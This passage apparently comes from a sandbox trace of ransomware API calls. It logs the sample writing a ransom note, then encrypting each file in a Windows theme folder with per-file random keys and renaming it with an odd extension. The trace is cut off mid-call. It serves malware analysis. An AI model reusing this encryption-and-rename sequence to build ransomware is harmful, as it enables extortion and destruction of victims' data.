[0178.290] wsprintfA (in: param_1=0x29dee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0178.290] GetProcessHeap () returned 0x990000 [0178.290] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3b4) returned 0x9b78c0 [0178.290] wsprintfW (in: param_1=0x29dddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\readme-warning.txt") returned 81 [0178.291] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0178.291] WriteFile (in: hFile=0x12c, lpBuffer=0x9b78c0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x29dddf8, lpOverlapped=0x0 | out: lpBuffer=0x9b78c0*, lpNumberOfBytesWritten=0x29dddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0178.292] CloseHandle (hObject=0x12c) returned 1 [0178.292] GetProcessHeap () returned 0x990000 [0178.293] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9fd9f0 | out: hHeap=0x990000) returned 1 [0178.293] GetProcessHeap () returned 0x990000 [0178.293] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b78c0 | out: hHeap=0x990000) returned 1 [0178.293] GetProcessHeap () returned 0x990000 [0178.293] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7f8 | out: hHeap=0x990000) returned 1 [0178.293] GetProcessHeap () returned 0x990000 [0178.293] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0178.293] FindClose (in: hFindFile=0x9b6628 | out: hFindFile=0x9b6628) returned 1 [0178.293] GetProcessHeap () returned 0x990000 [0178.293] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1eb0 | out: hHeap=0x990000) returned 1 [0178.293] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SPRING", cAlternateFileName="")) returned 1 [0178.293] GetProcessHeap () returned 0x990000 [0178.293] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8e) returned 0x9b0940 [0178.293] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\*.*", lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b6628 [0178.294] GetProcessHeap () returned 0x990000 [0178.294] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b0940 | out: hHeap=0x990000) returned 1 [0178.294] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0178.294] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x9df, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0178.294] GetProcessHeap () returned 0x990000 [0178.294] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x290) returned 0x9b1eb0 [0178.294] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0178.294] GetProcessHeap () returned 0x990000 [0178.294] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0178.294] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0178.294] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0178.294] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x1, lpOverlapped=0x0) returned 1 [0178.297] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0178.297] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0178.298] GetProcessHeap () returned 0x990000 [0178.298] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0178.298] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0178.298] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.298] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0178.298] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0178.298] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0178.298] WriteFile (in: hFile=0x12c, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0178.298] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0178.298] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0178.298] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0178.298] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0178.298] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.298] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x9df, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x9df, lpOverlapped=0x0) returned 1 [0178.298] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x9e0, dwBufLen=0x9e0 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x9e0) returned 1 [0178.299] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.299] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x9e0, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x9e0, lpOverlapped=0x0) returned 1 [0178.299] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.299] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xab4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.299] SetEndOfFile (hFile=0x12c) returned 1 [0178.301] GetProcessHeap () returned 0x990000 [0178.301] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0178.301] GetProcessHeap () returned 0x990000 [0178.302] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0178.302] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\preview.gif.kjhslgjkjdfg")) returned 1 [0178.302] CloseHandle (hObject=0x12c) returned 1 [0178.303] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ab5b300, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5ab49610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2ab5b300, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x10af1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SPRING.ELM", cAlternateFileName="")) returned 1 [0178.303] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\spring.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0178.304] GetProcessHeap () returned 0x990000 [0178.304] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0178.304] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0178.304] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0178.304] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0xf, lpOverlapped=0x0) returned 1 [0178.307] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0178.307] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0178.307] GetProcessHeap () returned 0x990000 [0178.307] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0178.307] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29defd0*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29defd0*=0x30) returned 1 [0178.307] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.307] WriteFile (in: hFile=0x12c, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29defe8*=0x30, lpOverlapped=0x0) returned 1 [0178.307] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0178.307] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0178.307] WriteFile (in: hFile=0x12c, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0178.307] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0178.307] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0178.308] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0178.308] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0178.308] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.308] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x10af1, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x10af1, lpOverlapped=0x0) returned 1 [0178.309] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x10b00, dwBufLen=0x10b00 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x10b00) returned 1 [0178.310] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.310] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x10b00, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x10b00, lpOverlapped=0x0) returned 1 [0178.310] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.310] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x10bc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.310] SetEndOfFile (hFile=0x12c) returned 1 [0178.313] GetProcessHeap () returned 0x990000 [0178.313] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0178.313] GetProcessHeap () returned 0x990000 [0178.313] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0178.313] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\spring.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\spring.elm.kjhslgjkjdfg")) returned 1 [0178.316] CloseHandle (hObject=0x12c) returned 1 [0178.316] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1d2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SPRING.INF", cAlternateFileName="")) returned 1 [0178.316] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\spring.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0178.317] GetProcessHeap () returned 0x990000 [0178.317] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0178.317] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0178.317] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0178.317] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0xe, lpOverlapped=0x0) returned 1 [0178.319] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0178.319] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0178.319] GetProcessHeap () returned 0x990000 [0178.319] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0178.319] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29defd0*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29defd0*=0x30) returned 1 [0178.319] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.319] WriteFile (in: hFile=0x12c, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29defe8*=0x30, lpOverlapped=0x0) returned 1 [0178.319] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0178.319] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0178.320] WriteFile (in: hFile=0x12c, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0178.320] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0178.320] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0178.320] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0178.320] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0178.320] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.320] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1d2, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x1d2, lpOverlapped=0x0) returned 1 [0178.320] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x1e0, dwBufLen=0x1e0 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x1e0) returned 1 [0178.320] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.320] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1e0, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x1e0, lpOverlapped=0x0) returned 1 [0178.320] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.320] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x2a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.320] SetEndOfFile (hFile=0x12c) returned 1 [0178.323] GetProcessHeap () returned 0x990000 [0178.323] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0178.323] GetProcessHeap () returned 0x990000 [0178.323] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0178.323] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\spring.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\spring.inf.kjhslgjkjdfg")) returned 1 [0178.325] CloseHandle (hObject=0x12c) returned 1 [0178.325] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c45, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0178.325] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0178.327] GetProcessHeap () returned 0x990000 [0178.327] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0178.327] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0178.327] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0178.327] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0xb, lpOverlapped=0x0) returned 1 [0178.329] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0178.329] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0178.329] GetProcessHeap () returned 0x990000 [0178.329] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0178.329] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0178.329] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.329] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0178.329] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0178.329] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0178.329] WriteFile (in: hFile=0x12c, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0178.330] SetFilePointerEx (in: hFile=0x12c, 